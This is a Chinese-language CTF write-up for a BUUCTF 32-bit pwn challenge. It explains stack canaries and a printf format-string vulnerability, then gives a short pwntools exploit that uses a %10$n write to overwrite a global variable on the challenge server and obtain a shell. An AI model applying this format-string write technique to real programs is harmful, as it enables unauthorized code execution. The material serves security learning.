buuctf第六题pwn题目不写题解了,因为比较基础,和先前的题型一致,甚至更简单,但是第七题直接难度翻倍。
不多说了,先checksec
从这里就开始和先前的题目不一样了QAQ
Arch: i386-32-little #32位小端序
RELRO: Partial RELRO #只对部分段做只读保护,.got 段仍然可写
Stack: Canary found #**栈溢出保护开启,程序会在栈帧中插入一个随机
值,函数返回前会校验该值,若被篡改则程序终止**
NX: NX enabled #栈、堆等数据段被标记为不可执行,无法直接在栈上执行 shellcode
PIE: No PIE #代码段、数据段地址不会随机变化,方便利用固定地址构造 ROP 链或计算偏移。
这题难的主要是要找到canary这个随机值QAQ
接下来依旧是打开die,接着是ida看字符串
32位
找到ok!所在的函数,起时也就是main函数
看代码逻辑,因为v8 = __readgsdword(0x14u);所以一般v8就是canary。
画出栈结构图:
高地址 (High Address)
+---------------------------------+
| 参数 (例如 a1 等) | [ebp + 8h]
+---------------------------------+
| 返回地址 (Return Address) | [ebp + 4h]
+---------------------------------+
| Saved EBP (保存的旧栈基址) | [ebp + 0h]
+---------------------------------+
| 填充/保存的寄存器 (如 ebx) | [ebp - 4h]
+---------------------------------+
| v9 (int* 指针) | [ebp - 8h] / [esp + 7Ch]
+---------------------------------+
| v8 (Stack Canary) | [ebp - 0Ch] / [esp + 78h]
+---------------------------------+
| |
| |
| buf (占 0x64 / 100 字节) |
| |
| | [ebp - 70h] / [esp + 14h]
+---------------------------------+
| |
| nptr (占 0x10 / 16 字节) | [ebp - 80h] / [esp + 4h]
+---------------------------------+
| 局部变量填充/子函数参数空间 | [ebp - 84h] / [esp + 0h] <--- esp 指向这里
+---------------------------------+
低地址 (Low Address)如果我们用栈溢出覆盖返回值的话,canary就会被覆盖,导致程序执行前后的canary值不一致,程序会崩溃。所以暂时不考虑栈溢出做题。
看代码还可以知道,只要第二次输入的nptr=unk_804C044就可以getshell。又看到read(0, &buf, 0x63u);紧接着就是printf(&buf);这是一个格式化字符串漏洞。
格式化字符串漏洞:可以利用printf()函数处理字符串的逻辑漏洞,输入字符串"%x","%p"就可以获得参数地址,甚至可以泄露canary,还有本题的unk_804C044的值
所以只要在第一次输入恶意payload泄露unk_804C044的值,再在程序第二次输入泄露的unk_804C044值就可以实现nptr=unk_804C044,从而getshell
具体实现就要用到%k$n,'%'开头的对printf()函数都有特殊含义,这个%k$n的意思就是把printf()函数已经打印的可打印字符的数量写进指定的参数地址:
比如:printf('aaaa%5$n'),已经打印了四个字符,所以执行到%5$n就会把数字4赋值给第5个参数的位置。
如果说我们把buf的起始位置写为全局变量unk_804C044的地址,再找到buf的地址是printf()函数的第几个参数的位置,那就可以构造payload = p32(0x804c044) + b'%k$n' 作为第一次输入。如果k确定了,这个payload的作用就是把已打印的字符(unk_804C044)(4字节)的数字(4)写进0x804c044的地址,然后只需要第二次输入一个数字4就可以getshell。
至于怎么找到buf是printf()函数的第几个参数位置,就需要试出来:
第一次输入的时候输入"AAAA%x.%x.%x.%x..,使得AAAA作为buf的标识,如果执行printf(buf)之后打印出了\x41414141,就可以数第几个%x得到的\x41414141,最后k就得出来了。
这里解释一下%x: 格式控制符,作用是:将一个无符号整数以十六进制小写形式输出(0-9、a-f)。

这题是第10个%x
exp:
from pwn import *
p = remote('node5.buuoj.cn', 29535)
payload = p32(0x804C044) + b'aaaa' b'%10$n'
p.recvuntil(b'your name:')
p.sendline(payload)
p.recvuntil(b'your passwd:')
p.sendline(b'8')
p.interactive()